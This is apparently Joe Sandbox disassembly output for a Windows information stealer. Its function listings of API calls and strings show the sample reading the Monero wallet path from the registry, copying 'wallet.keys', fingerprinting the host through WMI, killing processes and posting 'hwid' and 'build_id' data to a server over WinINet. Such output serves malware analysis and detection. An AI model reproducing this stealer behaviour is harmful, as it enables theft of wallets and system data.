Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00408E75
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00408EAA
GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00408FC9
lstrcatA.KERNEL32(00000000,00000000,024BDF48,00423410,024BDF48,00423410,00000000), ref: 004090F3
lstrcatA.KERNEL32(00000000,0042340C), ref: 004090FF
lstrcatA.KERNEL32(00000000,00000000), ref: 0040910F
lstrcatA.KERNEL32(00000000,0042340C), ref: 0040911B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040912B
lstrcatA.KERNEL32(00000000,0042340C), ref: 00409137
lstrcatA.KERNEL32(00000000,00000000), ref: 00409147
lstrcatA.KERNEL32(00000000,0042340C), ref: 00409153
lstrcatA.KERNEL32(00000000,00000000), ref: 00409163
lstrcatA.KERNEL32(00000000,0042340C), ref: 0040916F
lstrcatA.KERNEL32(00000000,00000000), ref: 0040917F
lstrcatA.KERNEL32(00000000,0042340C), ref: 0040918B
lstrcatA.KERNEL32(00000000,00000000), ref: 0040919B
lstrcatA.KERNEL32(00000000,00423408), ref: 004091A7
lstrlenA.KERNEL32(00000000), ref: 004091FC
lstrlenA.KERNEL32(00000000), ref: 00409208
RtlAllocateHeap.NTDLL(00000000), ref: 00408FD0

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 004110F0: memset.MSVCRT ref: 0041110A
Part of subcall function 004110F0: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,00000000,?,00409753,00409C77), ref: 0041113D
Part of subcall function 004110F0: HeapAlloc.KERNEL32(00000000,?,00409753,00409C77), ref: 00411144
Part of subcall function 004110F0: wsprintfW.USER32 ref: 00411153
Part of subcall function 004110F0: OpenProcess.KERNEL32(00001001,00000000,?,?), ref: 004111BB
Part of subcall function 004110F0: TerminateProcess.KERNEL32(00000000,00000000,?,?), ref: 004111CA
Part of subcall function 004110F0: CloseHandle.KERNEL32(00000000,?,?), ref: 004111D1

DeleteFileA.KERNEL32(00000000), ref: 00409263

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$HeapProcess$Filelstrlen$Copy$AllocAllocateCloseDeleteHandleOpenSystemTerminateTimememsetwsprintf
String ID:
API String ID: 2344884248-0
Opcode ID: c534b8a7b349933f1e0b5dcf0a0384b72e3cc01f2fceb047c9ffcd2788ba1ea9
Instruction ID: 01af279fe34659f2e92758b1277113fc8cf4a0ef9ee58042c38a489971cdbd96
Opcode Fuzzy Hash: c534b8a7b349933f1e0b5dcf0a0384b72e3cc01f2fceb047c9ffcd2788ba1ea9
Instruction Fuzzy Hash: 9AD13E72910504ABCB24FBA1DD56DEE7379AF54305F14813EF502724E2EF386A09CBA9

Function 00403E20 Relevance: 30.2, APIs: 13, Strings: 4, Instructions: 457networkfilestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DA2
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DAF
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DBC
Part of subcall function 00403D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 00403DD6
Part of subcall function 00403D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 00403DE6

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00403EAC
StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,00000030), ref: 00403EC7
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040400D
HttpOpenRequestA.WININET(00000000,024BDDA8,?,024BFBE0,00000000,00000000,-00400100,00000000), ref: 00404048
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 0040406C

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F9A0: lstrlenA.KERNEL32(?,?,?,?,?,00417633,?,02494B80,?,00423414,?,00000000,004201E9), ref: 0040F9B9
Part of subcall function 0040F9A0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F9E1
Part of subcall function 0040F9A0: lstrcatA.KERNEL32(?,?), ref: 0040F9EB

Part of subcall function 0040F940: lstrcpyA.KERNEL32(00000000,?,00000000,004176BE), ref: 0040F981
Part of subcall function 0040F940: lstrcatA.KERNEL32(00000000), ref: 0040F98D

lstrlenA.KERNEL32(00000000,00000000,?,?,00416B92,?,004201E9,00000000,00416B92,?,00000000,00416B92,",00000000,00416B92,build_id), ref: 004042BD
lstrlenA.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,?,?,00000030), ref: 004042D6
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 004042E7
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 004042FE
InternetReadFile.WININET(00000000,00000000,000007CF,?), ref: 0040434A
InternetCloseHandle.WININET(00000000), ref: 00404355
InternetCloseHandle.WININET(?), ref: 00404367
InternetCloseHandle.WININET(00000000), ref: 00404371

Strings

", xrefs: 0040411C, 0040422C
------, xrefs: 00403F32, 00404072, 00404181
build_id, xrefs: 0040420A
hwid, xrefs: 004040FA

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: Internet$lstrcpy$lstrlen$CloseHandle$FileHttpOpenReadRequestlstrcat$ConnectCrackOptionSend
String ID: "$------$build_id$hwid
API String ID: 1585128682-50533134
Opcode ID: eb20b8eb14e2afa6ec9bbbb340feaad25749b98cb29f23b892b0ad84c940ba1b
Instruction ID: b133d135036fceaf129ec02b97349a15de150af5b357d63d1a2f8011ac320ed4
Opcode Fuzzy Hash: eb20b8eb14e2afa6ec9bbbb340feaad25749b98cb29f23b892b0ad84c940ba1b
Instruction Fuzzy Hash: 7DF1FE72910108AEDB15FBA1DC92EEE7378AF54704F54817EB112724D1EF386A0DCBA8

Function 00412000 Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 295stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 0041202B
lstrcpyA.KERNEL32(?,00000000,?,00000104,?,00000104,00000104), ref: 004120C1
lstrcpyA.KERNEL32(?,00000000), ref: 004120FA
lstrcpyA.KERNEL32(?,00000000), ref: 0041213C
lstrcpyA.KERNEL32(?,00000000), ref: 0041217E
lstrcpyA.KERNEL32(?,00000000), ref: 004121BF
StrCmpCA.SHLWAPI(00000000,true,?), ref: 00412322
strtok_s.MSVCRT ref: 004123AC

Strings

anA, xrefs: 0041200E, 004123A6, 00412016, 004123A9
false, xrefs: 0041233C
true, xrefs: 0041231C

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$strtok_s
String ID: anA$false$true
API String ID: 2610293679-3558530194
Opcode ID: 505c5f33d6859d5f329996cf1b9e9b390a1da153b642f850c233b391946fbe13
Instruction ID: 28ec9be6b1e855a5d5ad00fa29704b442616d7bac6571d6649f76a51c6d16edf
Opcode Fuzzy Hash: 505c5f33d6859d5f329996cf1b9e9b390a1da153b642f850c233b391946fbe13
Instruction Fuzzy Hash: B1A1B7B2D00204ABDB24EBB1DC45DEE777DEF54304F00456EF51AA6142EB78A6C9CB94

Function 00410730 Relevance: 28.2, APIs: 10, Strings: 6, Instructions: 171memorycomtimeCOMMON

Download Yara Rule

APIs

CoInitializeEx.OLE32(00000000,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?,00423684,00000000,?,Work Dir: In memory,00000000), ref: 00410758
CoInitializeSecurity.OLE32(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000), ref: 00410769
CoCreateInstance.OLE32(004249C0,00000000,00000001,004248F0,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?,00423684,00000000,?), ref: 00410783
CoSetProxyBlanket.OLE32(?,0000000A,00000000,00000000,00000003,00000003,00000000,00000000,?,00000030,00000000,00000000,?,Windows: ,00000000,?), ref: 004107BC
VariantInit.OLEAUT32(?), ref: 0041081B

Part of subcall function 00410630: CoCreateInstance.OLE32(00424770,00000000,00000001,004238C4,00410847,00000000,00000000,00000030,00410847,00000030,?,00000001,?,00000030,00000000,00000000), ref: 0041066D
Part of subcall function 00410630: SysAllocString.OLEAUT32(?), ref: 0041067B
Part of subcall function 00410630: _wtoi64.MSVCRT ref: 004106BA
Part of subcall function 00410630: SysFreeString.OLEAUT32(?), ref: 004106D9
Part of subcall function 00410630: SysFreeString.OLEAUT32(00000000), ref: 004106E0

FileTimeToSystemTime.KERNEL32(?,00000000,?,?,00000030,00000000,00000000,?,Windows: ,00000000,?,00423684,00000000,?,Work Dir: In memory,00000000), ref: 00410852
GetProcessHeap.KERNEL32(00000000,00000104,?,?,00000030,00000000,00000000,?,Windows: ,00000000,?,00423684,00000000,?,Work Dir: In memory,00000000), ref: 0041085E
HeapAlloc.KERNEL32(00000000,?,?,00000030,00000000,00000000,?,Windows: ,00000000,?,00423684,00000000,?,Work Dir: In memory,00000000,?), ref: 00410865
VariantClear.OLEAUT32(?), ref: 004108A9
wsprintfA.USER32 ref: 00410891

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

Strings

InstallDate, xrefs: 0041082D
%d/%d/%d %d:%d:%d, xrefs: 0041088B
ROOT\CIMV2, xrefs: 0041079B
Select * From Win32_OperatingSystem, xrefs: 004107D1
Unknown, xrefs: 004108CC
WQL, xrefs: 004107D6

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: String$AllocCreateFreeHeapInitializeInstanceTimeVariant$BlanketClearFileInitProcessProxySecuritySystem_wtoi64lstrcpywsprintf
String ID: %d/%d/%d %d:%d:%d$InstallDate$ROOT\CIMV2$Select * From Win32_OperatingSystem$Unknown$WQL
API String ID: 1611285705-271508173
Opcode ID: d0b4a815b4d6e5164f017f1f581d001b50d511ed487778edabd0ee514babd502
Instruction ID: f60bae9c613f7fa121a8b30a4fe63b67029c37922dcc64605f50a105dcd30c53
Opcode Fuzzy Hash: d0b4a815b4d6e5164f017f1f581d001b50d511ed487778edabd0ee514babd502
Instruction Fuzzy Hash: 4B515071A01228BBCB24DB95DC45EEFBBBCEF49B10F104116F515A7280D7799A41CBE4

Function 00401A30 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 180registrymemorystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401A48
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00401A5E
HeapAlloc.KERNEL32(00000000), ref: 00401A65
RegOpenKeyExA.KERNEL32(80000001,SOFTWARE\monero-project\monero-core,00000000,00020119,00416D8D), ref: 00401A82
RegQueryValueExA.ADVAPI32(00416D8D,wallet_path,00000000,00000000,00000000,000000FF), ref: 00401A9C

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 004142A0: Sleep.KERNEL32(000003E8,?,=OA,?,?,00000000), ref: 00414345
Part of subcall function 004142A0: CreateThread.KERNEL32(00000000,00000000,004130F0,?,00000000,00000000), ref: 0041438D
Part of subcall function 004142A0: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00414399

RegCloseKey.ADVAPI32(00416D8D), ref: 00401AA6
lstrcatA.KERNEL32(?,00000000), ref: 00401AB4
lstrlenA.KERNEL32(?), ref: 00401AC1
lstrcatA.KERNEL32(?,.keys), ref: 00401ADC
CopyFileA.KERNEL32(?,00000000,00000001), ref: 00401BC6
DeleteFileA.KERNEL32(00000000), ref: 00401C32

Strings

.keys, xrefs: 00401AD0
wallet_path, xrefs: 00401A96
\Monero\wallet.keys, xrefs: 00401AF4
SOFTWARE\monero-project\monero-core, xrefs: 00401A76

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: FileHeaplstrcat$AllocCloseCopyCreateDeleteObjectOpenProcessQuerySingleSleepThreadValueWaitlstrcpylstrlenmemset
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 709784044-218353709
Opcode ID: 8f640b825b51b82771be3905bcba32e009690fe3a3d99978f352f7c22eb8773f
Instruction ID: f1d60a6bbfd1a10beadc68d07a737e3e9b1c6f7b3b4a17850d8004e5f304ac36
Opcode Fuzzy Hash: 8f640b825b51b82771be3905bcba32e009690fe3a3d99978f352f7c22eb8773f
Instruction Fuzzy Hash: CF513E72910108ABDB14FBA1DD56EEE737DAF54304F50803EF506724D2EB786A08CBA9

Function 004139E0 Relevance: 25.1, APIs: 11, Strings: 3, Instructions: 633sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F8A0: lstrlenA.KERNEL32(004176BE,?,00000000,?,00416587,004201E9,004201E9,?,00000000,?,?,004176BE), ref: 0040F8AB
Part of subcall function 0040F8A0: lstrcpyA.KERNEL32(00000000,004176BE), ref: 0040F8E2

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413B47
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413BAA
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413CF3

Part of subcall function 0040F8F0: lstrcpyA.KERNEL32(00000000,?,004201E9), ref: 0040F930

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00412EE0: StrCmpCA.SHLWAPI(00000000,ERROR,?,?,?,?,?,?,?,?,?,?,?,?,?,00413AD4), ref: 00412F20

Part of subcall function 00412FA0: StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00412FFA
Part of subcall function 00412FA0: lstrlenA.KERNEL32(00000000), ref: 00413011
Part of subcall function 00412FA0: StrStrA.SHLWAPI(00000000,00000000), ref: 00413039
Part of subcall function 00412FA0: lstrlenA.KERNEL32(00000000), ref: 0041304E
Part of subcall function 00412FA0: lstrlenA.KERNEL32(00000000), ref: 0041306B

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413C90
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413DD9
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413E3C
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00413F22
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00413F85
StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 0041406B
StrCmpCA.SHLWAPI(00000000,ERROR), ref: 004140C8
Sleep.KERNEL32(0000EA60), ref: 004140D7

Strings

9jA, xrefs: 004141C4, 004141D9, 004141E1, 004141F6, 00414190, 004141A5, 004141AD, 0041415C, 00414171, 00414179, 00414125, 0041413A, 00414142, 004140EE, 00414103, 0041410B, 0041409A, 004140B2, 0041409D, 004140F1, 0041410E, 00414128, 00414145, 0041415F, 0041417C, 00414193, 004141B0, 004141C7, 004141E4
9jA, xrefs: 00413B08, 00414284, 004140BF, 00413ABD, 00413C51, 00413CB4, 00413D9A, 00413DFD, 00413EE3, 00413F46, 0041402C, 0041408F, 00413FE1, 00413E98, 00413D4F, 00413C06, 00413B6B, 00413AC2, 00413B0D, 00413B70, 00413C0B, 00413C56, 00413CB9, 00413D54, 00413D9F, 00413E02, 00413E9D, 00413EE8, 00413F4B, 00413FE6, 00414031, 00414094
ERROR, xrefs: 00413B39, 00413B9C, 00413C82, 00413CE5, 00413DCB, 00413E2E, 00413F14, 00413F77, 0041405D, 004140BA

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$Sleep
String ID: 9jA$9jA$ERROR
API String ID: 507064821-3453893218
Opcode ID: 4db796c9f8dce2cb1d27808f2ec78027f2f0dd32857c8870dde0eb165c906988
Instruction ID: cf25ed66686d9262e125a475b4914be09e4212f98396e3805e3bfcd737600e71
Opcode Fuzzy Hash: 4db796c9f8dce2cb1d27808f2ec78027f2f0dd32857c8870dde0eb165c906988
Instruction Fuzzy Hash: B82220729102086ACB24FB72DD57ADE773C6F14348F50857EB80672496EF3C674C8A69

Function 0040FFC0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 180registrystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F810: lstrcpyA.KERNEL32(00000000,0041760D,0041760D,004201E9), ref: 0040F839

RegOpenKeyExA.KERNEL32(00000000,0249C298,00000000,00020019,00000000,004201E9), ref: 00410009
RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00410052
wsprintfA.USER32 ref: 0041007C
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0041009A
RegQueryValueExA.KERNEL32(00000000,024C00C0,00000000,000F003F,?,00000400), ref: 004100CA
lstrlenA.KERNEL32(?), ref: 004100DF
RegQueryValueExA.KERNEL32(00000000,024C00D8,00000000,000F003F,?,00000400,00000000,?,?,00000000,80000002,00423408), ref: 00410156

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Strings

?, xrefs: 0040FFFB
%s\%s, xrefs: 00410076
- , xrefs: 00410160

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000438000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000527000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000052A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000530000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000054F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000607000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.000000000063D000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Yara matches

Similarity

API ID: OpenQueryValuelstrcpy$Enumlstrlenwsprintf
String ID: - $%s\%s$?
API String ID: 1989970852-3278919252
Opcode ID: 643daf19ae7ed28cf589b7122f0c9c050e7703415097bdea3ce76851ccc1edb2
Instruction ID: 86116914c5d038b2623fcf9dac74439a401e9ecf48d0cd90823b8e99bbc113d5
Opcode Fuzzy Hash: 643daf19ae7ed28cf589b7122f0c9c050e7703415097bdea3ce76851ccc1edb2
Instruction Fuzzy Hash: 47613EB2900109AFDB14EB91DC95FEFB77DEF44704F00816AF605A3590EB786A49CBA4

Function 004043E0 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 176networkmemoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0040F850: lstrcpyA.KERNEL32(00000000,?,?), ref: 0040F878

Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DA2
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DAF
Part of subcall function 00403D70: ??_U@YAPAXI@Z.MSVCRT ref: 00403DBC
Part of subcall function 00403D70: lstrlenA.KERNEL32(00000000,00000000,0000003C,00000000,?,00000030), ref: 00403DD6
Part of subcall function 00403D70: InternetCrackUrlA.WININET(00000000,00000000), ref: 00403DE6

GetProcessHeap.KERNEL32(00000000,05F5E0FF,?,?,?,?,?,?,00000030), ref: 0040441C
RtlAllocateHeap.NTDLL(00000000,?,?,?,?,?,?,00000030), ref: 00404423
InternetOpenA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00404442
StrCmpCA.SHLWAPI(?,024BDE18,?,?,?,?,?,?,00000030), ref: 0040445A
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00404482
HttpOpenRequestA.WININET(00000000,GET,?,024BFBE0,00000000,00000000,-00400100,00000000), ref: 004044BC
InternetSetOptionA.WININET(00000000,0000001F,00010300,00000004), ref: 004044E0
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 004044EF
HttpQueryInfoA.WININET(00000000,00000013,?,?,00000000), ref: 0040450E
InternetReadFile.WININET(00000000,?,00000400,00000001), ref: 00404566
InternetCloseHandle.WININET(00000000), ref: 00404597
InternetCloseHandle.WININET(00000000), ref: 004045A4
InternetCloseHandle.WININET(00000000), ref: 004045AB

Strings

GET, xrefs: 004044B6

Memory Dump Source

Source File: 00000000.00000002.2761033099.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2761033099.0000000000430000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2761033099.0000000000434000.00000040.00000001.01000000.00000003.sdmpDownload File
